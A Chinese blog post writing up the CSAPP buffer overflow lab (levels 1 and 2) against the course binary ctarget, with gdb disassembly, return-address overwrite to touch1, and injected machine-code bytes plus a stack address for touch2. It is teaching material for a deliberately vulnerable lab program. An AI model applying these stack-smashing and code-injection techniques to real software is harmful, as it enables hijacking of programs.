当前位置:   article > 正文

CSAPP 缓冲区溢出实验_csapp实验缓冲溢出

csapp实验缓冲溢出

                                       实验5 缓冲区溢出实验

一、实验目的

1、深入了解缓冲区溢出的隐患,了解如何利用缓冲区溢出这个漏洞对现有程序进行控制流劫持、执行非法程序代码,从而造成对程序进行攻击以及破坏的过程;

2、增强对程序机器级表示、汇编语言、调试器和逆向工程等理解。

二、实验内容

对目标程序实施缓冲区溢出攻击,通过造成缓冲区溢出来破坏目标程序的栈帧结构,继而执行一些原来程序中没有的行为。

本实验共完成以下2个实验小题:level1和level2。

三、准备工作

所配文件:

本实验是一人一题。在所发目录中,一共 3 个和本实验相关的文件:
 
–ctarget 代码注入攻击的目标文件
 
–hex2row 将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符
 
–cookie.txt 一个8位16进行数,作为攻击的特殊标志符(level2使用)
 
ctarget 为所要分析处理的文件。其中包含 3 个函数: getbuf ( ) touch1 touch2 。可用 objdump 工具反汇编查看其代码,并存入文件中方便查看。
        命令为: objdump  -d  ctarget  > ctarget.txt

 基本原理:

C 语言中对于数组的引用不进行任何边界检查,而且局部变量和状态信息(如保存的寄存器值和返回地址)都存放在栈中。
 
当对越界的数组元素的写操作时,则会破坏存储在栈中的状态信息。一种常见的破坏就是 缓冲区溢出
 
通常,在栈中分配某个字符数组保存一个字符串,但是字符串的长度超出了为数组分配的空间,可能不会报错。
  如 Gets 函数,任何长度超过 BUFFER_SIZE 个字符的字符串都会导致写越界。

                                                  

文件说明:

函数test调用了函数getbufgetbuf执行返回语句时,程序会继续执行test函数中的语句。

但是现在我们要使 getbuf返回的时候,执行 touch1而不是返回 test

touch1看出我们不需要注入新的代码,只需要用攻击字符串指引程序执行一个已经存在的函数,也就是使getbuf结尾处的ret指令将控制转移到touch1

getbuf函数返回的时候,执行 touch2而不是返回 test。不同的是,我们需要注入新的代码,并且必须让touch2以为它接收到的参数是自己的 cookie

四、实验演示

          栗子:

             •正常运行程序并输入字符数较少(少于所定义的数组大小)时,输出正常,如图所示:

              

            •如果输入的字符数太多,超出栈中定义的范围,输出错误,如图所示:

             

   •本实验的目标是通过在getbuf阶段输入特定的字符串,拦截程序流,跳转到touch1或 touch2函数。
 
   •以level1为例,完成后可跳转到touch1函数:
 
    
 

解题思路:

          首先反汇编getbuf函数:

  1. (gdb) disassemble getbuf
  2. Dump of assembler code for function getbuf:
  3. 0x00000000004018f5 <+0>: sub $0x18,%rsp
  4. 0x00000000004018f9 <+4>: mov %rsp,%rdi
  5. 0x00000000004018fc <+7>: callq 0x401b80 <Gets>
  6. 0x0000000000401901 <+12>: mov $0x1,%eax
  7. 0x0000000000401906 <+17>: add $0x18,%rsp
  8. 0x000000000040190a <+21>: retq
  9. End of assembler dump.

        sub $0x18,%rsp这条指令可以得到getbuf创建的缓冲区大小为0x18字节即24字节。

       接下来找到touch1地址:

  1. (gdb) disassemble touch1
  2. Dump of assembler code for function touch1:
  3. 0x000000000040190b <+0>: sub $0x8,%rsp
  4. 0x000000000040190f <+4>: movl $0x1,0x202c03(%rip) # 0x60451c <vlevel>
  5. 0x0000000000401919 <+14>: mov $0x403235,%edi
  6. 0x000000000040191e <+19>: callq 0x400ce0 <puts@plt>
  7. 0x0000000000401923 <+24>: mov $0x1,%edi
  8. 0x0000000000401928 <+29>: callq 0x401dd6 <validate>
  9. 0x000000000040192d <+34>: mov $0x0,%edi
  10. 0x0000000000401932 <+39>: callq 0x400e70 <exit@plt>
  11. End of assembler dump.

        为:0x40190b

故,我们的攻击字符串就诞生了,将它命名为1906400007.txt

              

用 cat   1906400007.txt  | ./hex2raw | ./ctarget  -q调试

 

level2:      

在level 1的基础上,使getbuf函数的返回指向touch2函数,同时将touch2函数的参数置为userid对应的cookie值。

  1. (gdb) disassemble touch2
  2. Dump of assembler code for function touch2:
  3. 0x0000000000401937 <+0>: sub $0x8,%rsp
  4. 0x000000000040193b <+4>: mov %edi,%edx
  5. 0x000000000040193d <+6>: movl $0x2,0x202bd5(%rip) # 0x60451c <vlevel>
  6. 0x0000000000401947 <+16>: cmp 0x202bd7(%rip),%edi # <cookie>
  7. 0x000000000040194d <+22>: jne 0x40196f <touch2+56>
  8. 0x000000000040194f <+24>: mov $0x403258,%esi
  9. ······
  10. ······

 

在touch2可以看出,touch2函数的起始地址为0x401937
   touch2的参数 val 存储于寄存器 %rdi ,我们要做的就是先跳转到一个地方执行一段代码,这段代码能够将寄存器 %rdi 的值设置为cookie,然后再跳转到 touch2执行。

故:攻击字符串的文件命名为:le2.s,要注入的指令代码为:

               
 

              

故得:我们要注入的代码字符串为48 c7 c7 13 5a 04 3c 68 37 19 40 00 c3

和Level 1 类似,利用缓冲区溢出将返回地址修改为这段代码的起始地址,就能让程序执行我们注入的这段代码。

内存中存储这段代码的地方便是 getbuf开辟的缓冲区,接下来寻找%rsp的地址,我们利用gdb查看此时缓冲区的起始地址。得到%rsp地址为:0x55617698

最后的攻击字符串是这样子的:

       %rsp地址同样用小端方式表示。

同样地,调用hex2raw并执行ctarget

             

 

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/正经夜光杯/article/detail/827889
推荐阅读
相关标签
  

闽ICP备14008679号